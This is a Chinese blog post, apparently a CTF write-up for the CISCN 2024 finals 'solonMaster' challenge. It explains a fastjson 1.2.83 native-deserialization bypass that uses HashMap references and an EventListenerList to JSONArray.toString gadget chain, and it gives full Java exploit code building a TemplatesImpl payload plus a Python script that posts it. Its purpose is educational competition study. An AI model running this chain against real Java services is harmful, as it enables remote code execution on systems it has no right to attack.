CISCN24决赛-solonMaster
1diot9 Lv3

前言

考察原生fastjson链的引用绕过和toString链

分析

有fastjson83的依赖,很可能要用toString触发。

看一下题目的几个主要类,首先是DemoController:img

反序列化的点很明显,主要是怎么绕。需要满足是User的子类,并且不能有BadAVE。

那可以由EventListenerList—>JSONArray.toString–>getter

再看User:img

这里有一个Map类,那就考虑从HashMap.readObject开始的反序列化。

这里结合EXP的注释理解吧:主要理解为什么可以通过hashmap绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.alibaba.fastjson.JSONArray;
import com.example.demo.User;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;

public class EXP {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\CalcAbs.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

// ArrayList<Object> list = new ArrayList<>();
// list.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

EventListenerList elist = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(jsonArray);
setFieldValue(elist, "listenerList", new Object[] { Map.class, manager });

// 这里是为了绕fastjson自己的resolveClass,让其走TC_REFERENCE,就不会走它的resolveClass,也就不会触发autoType
//到时候先反序列化User里的Map类,就是HashMap。先反序列化键,就是templates。然后是elist,从而触发elist.readObject-->toString
//由于templates已经在前面反序列化过,所以不会被fastjson的黑名单拦截
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(templates, elist);

User user = new User();
user.setInfo(hashMap);

byte[] serilize = serilize(user);

String s = Base64.getEncoder().encodeToString(serilize);
new FileOutputStream(new File("D:\\tmp\\payload.txt")).write(s.getBytes());
// deserialize(s);

}

static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;

@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
}.readObject();
}

public static byte[] serilize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException, NoSuchFieldException {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}

public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class<?> aClass = obj.getClass();
Field field =null;
while (aClass != null) {
try {
field = aClass.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
aClass = aClass.getSuperclass();
}
}
return null;
}
}

python脚本:当时POST的数据格式还调了好久

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64

import requests
from urllib.parse import quote

if __name__ == '__main__':

with open("D://tmp//payload.txt", "r") as f:
# header = b'\x63\x02\x00\x48\x00\x04' + b'test'
payload = f.read()
# b64 = base64.b64encode(payload)

url = "http://127.0.0.1:8004/api"


json = {
"map": {
"data": f"{payload}"
},
"a": "a"
}


headers = {
"Content-Type": "application/json"
}

res = requests.post(url, json=json, headers=headers)
print(res.text)
# print(b64)

总结

这里主要学高版本fastjson原生反序列化引用绕过的原理,toString链的话除了上面用到的EventListenerList,还有TextAndMnemonicHashMap等

参考

文章 - 高版本Fastjson反序列化Xtring新链和EventListenerList绕过 - 先知社区

2024Ciscn总决赛Web Writeup - F12~ - 博客园

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量